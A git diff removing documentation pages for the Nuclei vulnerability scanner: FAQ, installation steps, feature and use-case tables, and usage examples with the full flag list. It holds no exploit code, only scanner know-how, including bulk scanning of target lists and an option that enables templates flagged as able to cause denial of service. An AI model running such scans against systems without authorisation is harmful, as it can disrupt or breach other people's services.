To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.
|
||||
|
||||
If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found results with nuclei. When should I report it?" icon="triangle-exclamation" iconType="solid">
|
||||
**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.
|
||||
|
||||
<Accordion title="How do I validate nuclei results?" icon="fire-flame-curved" iconType="solid">
|
||||
Once nuclei finds a result, and you have vulnerable **target** and **template**, rerun the template with **`-debug`** flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.
|
||||
</Accordion>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How much traffic does nuclei generate?" icon="triangle-exclamation" iconType="solid">
|
||||
By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.
|
||||
|
||||
<Note>As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.</Note>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is it safe to run nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
We consider two factors to say **"safe"** in context of nuclei -
|
||||
|
||||
1. The **traffic** nuclei makes against the target website.
|
||||
2. The **impact** templates have on the target website.
|
||||
|
||||
<Check>
|
||||
**HTTP Traffic**
|
||||
|
||||
Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.
|
||||
</Check>
|
||||
|
||||
<Check>
|
||||
**Safe Templates**
|
||||
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
</Check>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What is nuclei's license?" icon="circle-info" iconType="solid">
|
||||
Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I have more questions! 🙋" icon="circle-info" iconType="solid">
|
||||
Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Missing dependencies in headless mode on Linux" icon="triangle-exclamation" iconType="solid">
|
||||
Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
|
||||
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
|
||||
Ubuntu
|
||||
|
||||
With snap:
|
||||
```sh
|
||||
sudo snap install chromium
|
||||
```
|
||||
|
||||
Without snap:
|
||||
```sh
|
||||
sudo apt update
|
||||
sudo snap refresh
|
||||
sudo apt install zip curl wget git
|
||||
sudo snap install golang --classic
|
||||
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
|
||||
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
|
||||
sudo apt update
|
||||
sudo apt install google-chrome-stable
|
||||
```
|
||||
|
||||
In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
|
||||
```
|
||||
sudo apt-get install libnss3 libgconf-2-4
|
||||
```
|
||||
|
||||
If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:
|
||||
|
||||
```
|
||||
sudo apt-get install libnss3-dev
|
||||
```
|
||||
|
||||
Error type examples:
|
||||
```
|
||||
Error: Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
|
||||
```
|
||||
```
|
||||
could not create browser
|
||||
```
|
||||
```
|
||||
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
|
||||
Please install it with:
|
||||
snap install chromium
|
||||
```
|
||||
</Accordion>
|
||||
</AccordionGroup>
|
||||
@ -1,70 +0,0 @@
|
||||
---
|
||||
title: "Templates"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What are nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I write nuclei templates?" icon="circle-info" iconType="solid">
|
||||
We maintain a [template guide](/template-guide/introduction) for writing new and custom nuclei templates. We also have [example templates](/template-example/http/base-http) for various modules nuclei supports.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is writing nuclei templates useful?" icon="fire-flame-curved" iconType="solid">
|
||||
Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.
|
||||
|
||||
Here are few examples from the community making use of templates to automate the security findings.
|
||||
<Accordion title="Reference" icon="pencil">
|
||||
- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
|
||||
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
|
||||
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
|
||||
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
|
||||
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How do I run nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.
|
||||
|
||||
```
|
||||
nuclei -tags cve -list target_urls.txt
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I want to contribute nuclei templates! 😁" icon="circle-info" iconType="solid">
|
||||
You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.
|
||||
</Accordion>
|
||||
|
||||
|
||||
<Accordion title="I'm getting false-positive results!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei template project is a **community-contributed project**. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. **Templates are only as good as their matchers.**
|
||||
|
||||
If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative results, but I'm not sure if this is accurate." icon="circle-info" iconType="solid">
|
||||
Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative result and I don't know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing a false positive or negative result and I know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I'm not able to run all templates!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Templates exist on GitHub but are not running with nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
BIN
docs/favicon.png
|
Before Width: | Height: | Size: 2.8 KiB |
@ -1,20 +0,0 @@
|
||||
---
|
||||
title: 'Features'
|
||||
---
|
||||
|
||||
| Feature | Description |
|
||||
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| [Extensive Template Library](#) | Nuclei offers a vast collection of community-powered templates for targeted scans of various vulnerabilities and attack vectors. |
|
||||
| [Versatile Target Specification](#) | Support for various target specification options, such as URLs, IP ranges, ASN range, and file input, allowing flexibility in defining the scanning scope. |
|
||||
| [Bulk Scanning](#) | Perform bulk scanning by specifying multiple targets at once, enabling efficient scanning of a large number of assets or websites. |
|
||||
| [Flexible Customization](#) | Customize scanning templates to fit specific needs, allowing tailored scanning and focusing on relevant security checks. |
|
||||
| [Parallel Scanning](#) | Supports parallel scanning, reducing scanning time and improving efficiency, especially for large-scale targets. |
|
||||
| [Comprehensive Reporting `cloud`](#) | Generates detailed reports with actionable insights, including vulnerability details, severity levels, affected endpoints, and suggested remediation steps. |
|
||||
| [Integration with CI/CD Pipelines](#) | Seamlessly integrate Nuclei into CI/CD pipelines for automated security testing as part of the development and deployment process. |
|
||||
| [CI/CD Integration `cloud`](#) | Actively maintained and developed by the ProjectDiscovery team, introducing new features, bug fixes, and enhancements to provide an up-to-date scanning framework. |
|
||||
| [Ticketing integration `cloud`](#) | Two-way ticketing integration with Jira, Splunk, and many others to easily remediate and retest vulnerabilities. |
|
||||
| [Customizable Output Format](#) | Configure the output format of Nuclei's scan results to suit your needs, including options for JSON, YAML, and more. |
|
||||
| [Dynamic Variables](#) | Utilize dynamic variables in templates to perform parameterized scanning, enabling versatile and flexible scanning configurations. |
|
||||
| [Inclusion and Exclusion Filters](#) | Apply inclusion and exclusion filters to specify targets, reducing scanning scope and focusing on specific areas of interest. |
|
||||
| [Authentication Support](#) | Nuclei supports various authentication mechanisms, including HTTP basic authentication, JWT token authentication, and more. |
|
||||
| [Embedding custom code in templates `alpha`](#) | Execute custom code within Nuclei templates to incorporate user-defined logic, perform advanced scanning actions, and more. |
|
||||
@ -1,69 +0,0 @@
|
||||
---
|
||||
title: 'Install'
|
||||
---
|
||||
|
||||
|
||||
<Tabs>
|
||||
<Tab title="Go">
|
||||
```bash
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<Note>Nuclei requires latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Brew">
|
||||
```bash
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
<Note>Supported in **macOS** (or Linux)</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Docker">
|
||||
```bash
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
Docker-specific usage instructions can be found [here](./running#running-with-docker).
|
||||
</Tab>
|
||||
<Tab title="Github">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git; \
|
||||
cd nuclei/cmd/nuclei; \
|
||||
go build; \
|
||||
mv nuclei /usr/local/bin/; \
|
||||
nuclei -version;
|
||||
```
|
||||
|
||||
<Note> Nuclei require the latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Binary">
|
||||
```bash
|
||||
https://github.com/projectdiscovery/nuclei/releases
|
||||
```
|
||||
|
||||
<Tip>
|
||||
- Download the latest binary for your OS.
|
||||
- Unzip the ready to run binary.
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Helm">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git
|
||||
cd nuclei/helm
|
||||
helm upgrade --install nuclei . -f values.yaml
|
||||
```
|
||||
|
||||
<Tip>
|
||||
This Helm chart creates two primary resources (intended to be configured via `values.yaml`):
|
||||
|
||||
- A Kubernetes CronJob to run Nuclei on a defined schedule
|
||||
|
||||
- An [Interactsh](https://github.com/projectdiscovery/interactsh) service for Nuclei to use
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
</Tabs>
|
||||
@ -1,47 +0,0 @@
|
||||
---
|
||||
title: 'Overview'
|
||||
---
|
||||
|
||||
## What is **Nuclei?**
|
||||
|
||||
Nuclei is a fast scanner used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.
|
||||
|
||||
Under the hood, it operates on the concept of templates, which are essentially simple YAML file that describe how to detect, prioritize and remediate specific security vulnerabilities.
|
||||
|
||||
Hundreds of security researchers and engineers from around the globe contribute to the template ecosystem, which is available and updated regularly within the Nuclei tool. Over 5000 templates have been contributed to date. These templates include real-world exploits and latest attack vectors, including the Log4j vulnerability, GitLab RCE, and many others, to match adaptability in an ever-evolving threat landscape.
|
||||
|
||||
Each template represents a potential attack vector and includes a detailed description of the vulnerability, its severity, priority score, and sometimes even trending exploits. The template-driven approach not only adds a high degree of flexibility but also ensures that the vulnerabilities detected by Nuclei are not just theoretical risks but are indicative of real-world exploitability.
|
||||
|
||||
Once configured, Nuclei can provide detailed information on each vulnerability, including:
|
||||
|
||||
<CardGroup>
|
||||
<Card title="Severity" icon="gauge-high" iconType="duotone"></Card>
|
||||
<Card title="Impact" icon="explosion" iconType="duotone"></Card>
|
||||
<Card title="Description" icon="text-size" iconType="duotone"></Card>
|
||||
<Card title="Remediation" icon="screwdriver-wrench" iconType="duotone"></Card>
|
||||
</CardGroup>
|
||||
|
||||
|
||||
## Where to use Nuclei?
|
||||
|
||||
| Use Case | Description |
|
||||
| -------------------------------- | ----------- |
|
||||
| Web Application Security | Identifies common web vulnerabilities with community-powered templates. |
|
||||
| Infrastructure Security | Audits server configurations, open ports, and insecure services for security issues. |
|
||||
| API Security Testing `alpha` | Tests APIs against known vulnerabilities and misconfigurations. |
|
||||
| (CI/CD) Security | Integrates into CI/CD pipelines to minimize vulnerability resurface into production. |
|
||||
| Third-party Vendor Assessment | Evaluates the security of third-party vendors by scanning their digital assets. |
|
||||
| Cloud Security `alpha` | Scans cloud environments for misconfigurations and vulnerabilities. |
|
||||
| Mobile Application Security | Scans mobile applications for security issues, including API tests and configuration checks. |
|
||||
| Network Device Security `alpha` | Identifies vulnerabilities in network devices like routers, switches, and firewalls. |
|
||||
| Web Server Assessment | Identifies common vulnerabilities and misconfigurations in web servers. |
|
||||
| Content Management System (CMS) Assessment | Identifies vulnerabilities specific to CMS platforms like WordPress, Joomla, or Drupal. |
|
||||
| Database Security Assessment | Scans databases for known vulnerabilities, default configurations, and access control issues. |
|
||||
|
||||
People use Nuclei in a variety of ways:
|
||||
|
||||
- **Security Engineers/Analysts**: Conduct security assessments, proactively identify vulnerabilities, convert custom vectors and analyze latest attack vectors.
|
||||
- **Red Teams**: Leverage Nuclei as part of their offensive security operations to simulate real-world attack scenarios, identify weaknesses, and provide actionable recommendations for enhancing overall security.
|
||||
- **DevOps Teams**: Integrate Nuclei into their CI/CD pipelines to ensure continuous security and regression of custom vulnerabilities.
|
||||
- **Bug Bounty Hunters**: Leverage Nuclei to find vulnerabilities across their programs listed on platforms like HackerOne, Bugcrowd, Intigriti etc.
|
||||
- **Penetration Testers**: Utilize Nuclei to automate their assessment methodologies into templates for their clients' systems.
|
||||
@ -1,925 +0,0 @@
|
||||
---
|
||||
title: 'Running Nuclei'
|
||||
---
|
||||
|
||||
<iframe src="https://www.youtube.com/embed/b5qMyQvL1ZA" width="640" height="360"></iframe>
|
||||
|
||||
|
||||
## Running **Nuclei**
|
||||
|
||||
Nuclei templates can be primarily executed in two ways:
|
||||
|
||||
1. **Templates** (`-t/templates`)
|
||||
|
||||
As default, all the templates (except nuclei-ignore list) get executed from the default template installation path.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com
|
||||
```
|
||||
|
||||
Custom template directory or multiple template directory can be executed as follows:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t cves/ -t exposures/
|
||||
```
|
||||
|
||||
Custom template Github repos are downloaded under `github` directory. Custom repo templates can be passed as follows:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t github/private-repo
|
||||
```
|
||||
|
||||
Similarly, Templates can be executed against a list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt
|
||||
```
|
||||
|
||||
2. **Workflows** (`-w/workflows`)
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -w workflows/
|
||||
```
|
||||
|
||||
Similarly, Workflows can be executed against a list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml
|
||||
```
|
||||
|
||||
### Nuclei **Filters**
|
||||
|
||||
Nuclei engine supports three basic filters to customize template execution.
|
||||
|
||||
1. Tags (`-tags`)
|
||||
|
||||
Filter based on tags field available in the template.
|
||||
|
||||
2. Severity (`-severity`)
|
||||
|
||||
Filter based on severity field available in the template.
|
||||
|
||||
3. Author (`-author`)
|
||||
|
||||
Filter based on author field available in the template.
|
||||
|
||||
As default, Filters are applied on installed path of templates and can be customized with manual template path input.
|
||||
|
||||
For example, below command will run all the templates installed at `~/nuclei-templates/` directory and has `cve` tags in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve
|
||||
```
|
||||
|
||||
And this example will run all the templates available under `~/nuclei-templates/exposures/` directory and has `config` tag in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags config -t exposures/
|
||||
```
|
||||
|
||||
Multiple filters works together with AND condition,
|
||||
below example runs all templates with `cve` tags
|
||||
AND has `critical` OR `high` severity AND `geeknik` as author of template.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik
|
||||
```
|
||||
|
||||
Multiple filters can also be combined using the template condition flag (`-tc`) that allows complex expressions like the following ones:
|
||||
|
||||
```sh
|
||||
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
|
||||
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
|
||||
nuclei -tc "contains(name, 'Local File Inclusion')"
|
||||
```
|
||||
|
||||
The supported fields are:
|
||||
|
||||
- `id` string
|
||||
- `name` string
|
||||
- `description` string
|
||||
- `tags` slice of strings
|
||||
- `authors` slice of strings
|
||||
- `severity` string
|
||||
- `protocol` string
|
||||
- `http_method` slice of strings
|
||||
- `body` string (containing all request bodies if any)
|
||||
- `matcher_type` slice of string
|
||||
- `extractor_type` slice of string
|
||||
- `description` string
|
||||
|
||||
Also, every key-value pair from the template metadata section is accessible. All fields can be combined with logical operators (`||` and `&&`) and used with DSL helper functions.
|
||||
|
||||
Similarly, all filters are supported in workflows as well.
|
||||
|
||||
```sh
|
||||
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt
|
||||
```
|
||||
|
||||
<Note>
|
||||
|
||||
**Workflows**
|
||||
|
||||
In Workflows, Nuclei filters are applied on templates or sub-templates running via workflows, not on the workflows itself.
|
||||
|
||||
</Note>
|
||||
|
||||
### Public Templates
|
||||
|
||||
Nuclei has built-in support for automatic template download/update from [**nuclei templates**](https://github.com/projectdiscovery/nuclei-templates) project which provides [community-contributed](https://github.com/projectdiscovery/nuclei-templates#-community) list of ready-to-use templates that is constantly updated.
|
||||
|
||||
Nuclei checks for new community template releases upon each execution and automatically downloads the latest version when available. optionally, this feature can be disabled using the `-duc` cli flag or the configuration file.
|
||||
|
||||
### Custom Templates
|
||||
|
||||
Users can create custom templates on a personal public / private GitHub / AWS Bucket that they wish to run / update while using nuclei from any environment without manually downloading the GitHub repository everywhere.
|
||||
|
||||
To use this feature, users need to set the following environment variables:
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="For GitHub Project" icon="pencil">
|
||||
```bash
|
||||
export GITHUB_TOKEN=gh_XXX
|
||||
export GITHUB_TEMPLATE_REPO=my_nuclei_template
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For GitLab Project" icon="pencil">
|
||||
```bash
|
||||
export GITLAB_SERVER_URL=https://gitlab.com
|
||||
# The GitLab token must have the read_api and read_repository scope
|
||||
export GITLAB_TOKEN=XXXXXXXXXX
|
||||
# Comma separated list of repository IDs (not names)
|
||||
export GITLAB_REPOSITORY_IDS=12345,67890
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="For AWS Bucket" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AWS_ACCESS_KEY=AKIAXXXXXXXX
|
||||
export AWS_SECRET_KEY=XXXXXX
|
||||
export AWS_REGION=us-xxx-1
|
||||
export AWS_TEMPLATE_BUCKET=aws_bucket_name
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For Azure Blob Storage" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AZURE_TENANT_ID=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_CLIENT_ID=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_CLIENT_SECRET=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_SERVICE_URL=https://XXXXXXXXXX.blob.core.windows.net/
|
||||
export AZURE_CONTAINER_NAME=templates
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
|
||||
Environment variables can also be provided to disable download from default and custom template locations:
|
||||
|
||||
```bash
|
||||
# Disable download from the default nuclei-templates project
|
||||
export DISABLE_NUCLEI_TEMPLATES_PUBLIC_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private GitHub project(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_GITHUB_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private GitLab project(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_GITLAB_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private AWS Bucket(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_AWS_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private Azure Blob Storage
|
||||
export DISABLE_NUCLEI_TEMPLATES_AZURE_DOWNLOAD=true
|
||||
```
|
||||
|
||||
Once the environment variables are set, following command to download the custom templates:
|
||||
|
||||
```bash
|
||||
nuclei -update-templates
|
||||
```
|
||||
|
||||
This command will clone the repository containing the custom templates to the default nuclei templates directory (`$HOME/nuclei-templates/github/`).
|
||||
|
||||
The directory structure of the custom templates looks as follows:
|
||||
|
||||
```bash
|
||||
tree $HOME/nuclei-templates/
|
||||
|
||||
nuclei-templates/
|
||||
└── github/$GH_REPO_NAME # Custom templates downloaded from public / private GitHub project
|
||||
└── gitlab/$GL_REPO_NAME # Custom templates downloaded from public / private GitLab project
|
||||
└── s3/$BUCKET_NAME # Custom templates downloaded from public / private AWS Bucket
|
||||
└── azure/$CONTAINER_NAME # Custom templates downloaded from public / private Azure Blob Storage
|
||||
```
|
||||
|
||||
Users can then use the custom templates with the `-t` flag as follows:
|
||||
|
||||
```
|
||||
nuclei -t github/my_custom_template -u https://example.com
|
||||
```
|
||||
|
||||
The nuclei engine can be updated to latest version by using the `-update` flag.
|
||||
|
||||
<Tip>
|
||||
Writing your own unique templates will always keep you one step ahead of
|
||||
others.
|
||||
</Tip>
|
||||
|
||||
### Flags
|
||||
|
||||
```
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
This will display help for the tool. Here are all the switches it supports.
|
||||
|
||||
```bash
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-json write output in JSONL(ines) format
|
||||
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-sandbox sandbox nuclei for safe templates execution
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-config-directory string override the default config path ($home/.config)
|
||||
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
